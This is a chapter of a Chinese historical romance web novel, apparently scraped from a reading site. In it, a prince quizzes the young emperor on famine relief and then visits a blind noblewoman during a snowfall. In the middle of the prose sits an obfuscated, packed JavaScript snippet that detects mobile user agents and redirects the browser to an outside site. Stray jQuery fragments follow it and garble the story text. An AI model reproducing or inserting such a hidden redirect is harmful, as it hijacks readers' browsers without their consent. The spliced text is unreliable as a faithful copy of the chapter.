默认冷灰
24号文字
方正启体

10. 小重山

作者:花晚晚本书字数:K更新时间:
    “你又意下如何?”


    “拨粮安腹,拨银定心,遣官员巡抚以察民情民态谋民生计,设立州牧,教县镇有所管有所制,中央裨补地方,以灾情轻重缓急划分。”萧元则放下手中奏折,正襟危坐道。


    萧时青听言面上神色不变,冷硬的目光却直直瞥过去盯着他问:“粮从何处来,银从何处敛,选取官员是以何种标准,中央又如何恰逢其时的在地方灾情之上占据主给方向?”


    他问得太过于细致,揪得萧元则那半吊子的治国之道原形毕露,缴着两手在华贵的龙袍上攥出了一串褶子,整个人焦灼得都快要坐不住了,是时满头大汗地张了张嘴唇:“这……”


    僵持片刻,他又抬头看了眼萧时青的神色,随即拱手行礼:“云璟愚笨,还请皇叔不吝赐教。”


    萧时青今日着了一身月白长袍,里面锦衣单薄,只有面上的一层缀了些保暖的绒毛,殿里的炉子稍添了些火,烧得却不怎么旺。


    “到底是你在做皇帝,还是我在做皇帝?”萧时青走近,看了一眼他面前铺展开的奏折:“我吃斋念佛数载,从未读过《国运》、《国道》、《治国》、《治政》此类长册,况且就算我有心想要窥看一二,他们也不会放手教我去读。”


    他语气不痛不痒,却教萧元则听得十分不是滋味,仿佛他不该搭这茬似的,却又不能不回长辈之言,便试探道:“云璟初登位时,全凭皇叔一人将朝廷中的局势扭转,那时众人都信服皇叔。”


    萧时青笑了笑:“因为他们怕死,随便杀几个叫嚣得最厉害的他们便不敢再多微词了,置身尘网数十载,有谁没有亏心事呢,毕竟这萧氏的江山注定是姓萧的才能坐。”


    萧元则看着他似笑非笑的神情只觉得不寒而栗,又实在不是个懂得察言观色的妙人,遂问萧时青:“那皇叔您想不想坐?”


    萧时青侧目看了他半晌没吭声,只将他盯得头皮发紧坐立难安,心下实在后悔万分问出这混账言论之时,才听萧时青哑然失笑,随即作出一副和蔼可亲的模样同他戏闹说:


    “真以为这宝座是个香饽饽啊萧元则,你坐在这里每日心中尚且都是无愧无鬼的么?你皇叔我修佛喜清净,这等差事终归还是做不来的。”


    萧元则教他一语戳中心中事,顿然有些羞恼道:“那谢玉媜呢?”


    萧时青面上笑意微收,转身问他:“谢竹筠又如何了?”


    萧元则今日胆子颇壮,平日里憋了许久的话似是都冒出头了想要从嘴里钻出来:“皇叔知晓了过去那些事,还以为谢玉媜当真姓谢么?”


    萧时青:“不然姓什么?姓萧?”


    萧元则不置可否。


    萧时青:“先前你父皇说你蠢我还不信,如今我倒是真觉得萧氏江山任重而道远。”


    萧元则教他骂的心不甘情不愿:“是,我是蠢,做不来你们玲珑心思那一套,从小到大又有谁在乎了!”


    萧元则皱起眉头无话可说地看了他一眼,接着转身挪步往殿门扬长而去,临走还不忘嘱咐侍从再添些炉火,好教萧元则将奏折安稳批完。


    殿外寒风肆虐,因宫殿修的范围宽阔,所以宫墙之内几近攒不住一丝暖意,不过萧时青前些年在深山里头住惯了,如今哪怕不披毛裘立在屋外也不觉寒冷。


    他抬眸望见天色晦暗,云色灰扑扑的一层缀在天上挡住了光,心下认定晚来要有一场雪。


    回了景初殿,唤掌事的太监拿了把伞,他便头也不回地出了门。


    早年间,确实任谁见他都喜问一句那庙前云游老和尚的卦解,或看他命途多舛,便可怜地安抚劝慰他几句,抑或觉得这算卦之事实在荒唐,便劝他不要加信,但就算开解的人愈来愈多,他也终究还是要被送到千里之外最偏僻的古寺里去。


    人人都说,先帝为他解卦送他远离罹苦,待他极好,但他们也只是道听途说庙前算卦这一回事,并非真正亲眼目睹亲耳听见那卦文,纵然如此也依旧对算卦这事深信不疑。


    实则从头到尾,他根本就没有去过什么烧香拜佛的寺庙,也从未见过那么一个看他有缘的云游老和尚……


    从未。


    踱步出宫门,天象便不出他所料地下起了雪,只是下得不大不小,也就教他生了懒得打伞的心思。


    未走出去多远,便在街上瞧见不少还在冒雪做生意的摊贩,望见他争相呼喊几句,希冀他的脚步能够停一停。


    但萧时青没停,看了几眼后依旧走得飞快。他虽修了几载佛缘,却始终学不会渡人,从前学不会,如今也不想学会。


    此刻天色昏沉冷风瑟瑟,教他愈发想要逃,逃到一个最安心的地方躲起来,好渡过这不阴不阳的鬼天气。


    于是他大步流星顺着街道往前,一路连撑伞也记不起。待他望见元熙世女府的牌匾时,身上已然灰了一层,伞柄都教他握得有了温度。


    他走上前扣了门。


    开门的依旧是老管事,一认出他便迎他进了府,不由分说地将他带到了谢玉媜窝着等死的院子。


    院子里已经没几片绿的叶子招摇,一眼望去几乎都是枯黄,瞧着还有些萧瑟可怜。


    他进屋,谢玉媜正倚在窗台上,眼神略有些失焦地盯着远处,不知晓在瞧什么。听见来人的响动也未转身,仿佛早就料到他今日会来一般。


    萧时青自然也不故作矜持,进了屋径直走向小炉坐塌前,坦然落座给自己添了一杯茶,畅饮一口抚下心底不豫,竟觉得如此在这里待下去,也不失为一种绝佳之法。


    半晌两人都未开口说过一句话。


    到底还是管事的见他衣袍叫雪浸湿,殷切地替他找了身合适干净的衣袍送来,由此打破了屋里一直沉缄的气氛。


    “殿下冒雪莅临世女府多加劳累,我等招待如有不周还望恕罪。”这套话谁都会说,只是萧时青听着却觉得不像是单单说给自己听的。


    接过衣衫往谢玉媜那头瞟了一眼,他又收回目光冲管事说道:“不必多礼。”


    管事看着倚在窗边的谢玉媜微叹了口气,恨铁不成钢地退居门外,再懒得管了。


    萧时青随手解了外袍搭在屋里的架子上,换上了方才管事呈进来的红色裘袍。


    实则他当真没有那般冷的,但也不知晓他心下到底怎么想的,旁人把衣衫送来的时候,他只想动静闹得大一些,再大一些,好让窗台边无动于衷的谢玉媜走过来同他说一句话,半句也好。


    他近来的脾气真是愈发古怪。


    皱着眉头重新坐回小炉前,面前茶壶已然烧得直冒白烟,茶香撒溢出来飘了满屋。


    萧时青怕它烧干了,便将壶捡起来搁在了檀木小案上,还趁热给自己的盏里添了半杯。


    许是倒水的声响清脆怡人,终于难得地将谢玉媜飘忽的神思从九天之外给拽回了地上。


    她回过身,仿佛才知晓来了人一般讶异地盯着萧时青,又默然看了一眼他盏里的茶水,语不惊人死不休地惹人不喜道:“茶水千金,殿下几口下肚不复返,可是故意教这本就家财不裕的世女府雪上加霜的?”


    萧时青虽没喝过太多有名又刁钻的茶,却也能够分得出好坏,听着她这大言不惭想要讹人的语气,竟觉得眼前的人和景都变得有些生动起来:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815601|190860||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “倘若我就是故意的,你又想如何?”


    谢玉媜揪了一把窗台边花瓶里插着的花,挪步离开窗台朝着萧时青走了过去:“萧懿安,中都京城里有那样多坐吃等死的废物,为何你偏偏要来招惹我?”


    她尚且蒙着眼纱神情无悲无喜,看着又不像是怨恨责怪的意思。


    话落她摸索着壶盖将手中花骨朵往茶壶里一扔,滚烫的开水将白嫩的花瓣摧残得很快枯萎,看上去略有些碧绿泛黄的颜色教人莫名其妙有些想要一尝滋味的冲动。


    萧时青听着她好笑的言辞修长的手指在小案上轻敲,煞有介事地问道:“你觉得我是在招惹你?”


    谢玉媜坦荡荡地点了点头,拎着茶壶给自己添了杯,颇为无辜道:“我又不是木石之心,免不了有些庸俗的想法,总不能一直这般装傻过去。”


    萧时青将茶杯凑过去也要了一杯泡了花瓣的新茶,若有所思道:“你这眼纱倒是与前两日的不一样。”


    谢玉媜愣了愣,伸手摸上自己的眼睛:“殿下这就有些过分苛责了,眼睛瞎了难道就不能想方设法教自己看起来赏心悦目么?”


    萧时青撇了撇嘴:“你当真瞎了?”


    谢玉媜叹了一声,似乎是不满意他这说法似的抬了抬眉:“殿下倘若不信,大可以再用匕首在这里划上那么一下,”她抬手指了指自己的眸子,又弯起嘴角:“届时殿下便再也用不着疑神疑鬼了。”


    萧时青神情微变,动作间稍有迟疑,沉默半晌不定,又瞧着谢玉媜恬然饮茶的面容鬼使神差地探出了手指。


    他似乎是想要抚她的眼尾,却又停在了她眼前:“有没有人同你说过,你生了一双极为出挑的眼。”


    谢玉媜微微勾起嘴角摇了摇头:“殿下难道没有听说过我在京都的传闻么?”她揶揄看了萧时青一眼继续说:“他们避我都来不及,怎么还会夸我。”


    萧时青舔着嘴唇轻点头:“他们是该咒你,不过我倒是没听说过,他们到底是怎么咒你的。”


    谢玉媜蓦然失笑:“听闻殿下早年间曾遇到一位擅算卦的师父,我倒是很好奇,不如殿下也仔细说说?”


    萧时青眯了眯双眸:“怎么,教旁人咒骂便也想算卦?”


    谢玉媜撇了撇嘴:“你瞧,这不是听说过嘛。”


    萧时青盯着她不痛不痒的神情心下微堵,甚至迫切有些希望她能够将那无形的刀刃怼回来。


    但是谢玉媜没有,她反而坦然地认了。


    仿佛他今日心血来潮的挑衅都是为了图一时之快,半点不光彩一般。连带着这红泥火炉、晚来雪、杯中茗都煞风景了起来。


    “还未想起来问,殿下今日如何有闲遐到我这穷酸的世女府上来了。”谢玉媜说。


    她如今半句不离穷酸,看来也是记仇得很。


    萧时青拿着杯盏挪到窗台边看外头的雪:“不过是一年俸禄而已,你难道还怕饿死么谢竹筠?”


    谢玉媜也起身摸索着挪到他身侧:“自然。”


    萧时青又笑了:“那我便大发慈悲,倘若今日你将我哄高兴了,我拿景初殿的俸禄给你填,保证不叫你冬里饿着冷着行不行?”


    谢玉媜笑而不语,看着外头簌簌飘落的雪竟然破天荒地生出些同病相怜的感觉,可萧时青一没病二没痛三没伤,哪门子会需要她可怜,按耐下心中荒唐,隔了半晌她才问:“那我要如何哄你呢萧懿安?”


    萧时青冲她笑得明灿如阳:“讲故事。”


    谢玉媜抬眸:“什么?”


    萧时青伸手终于坦然地碰了碰她的眼尾:“讲当年藏书楼的故事。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)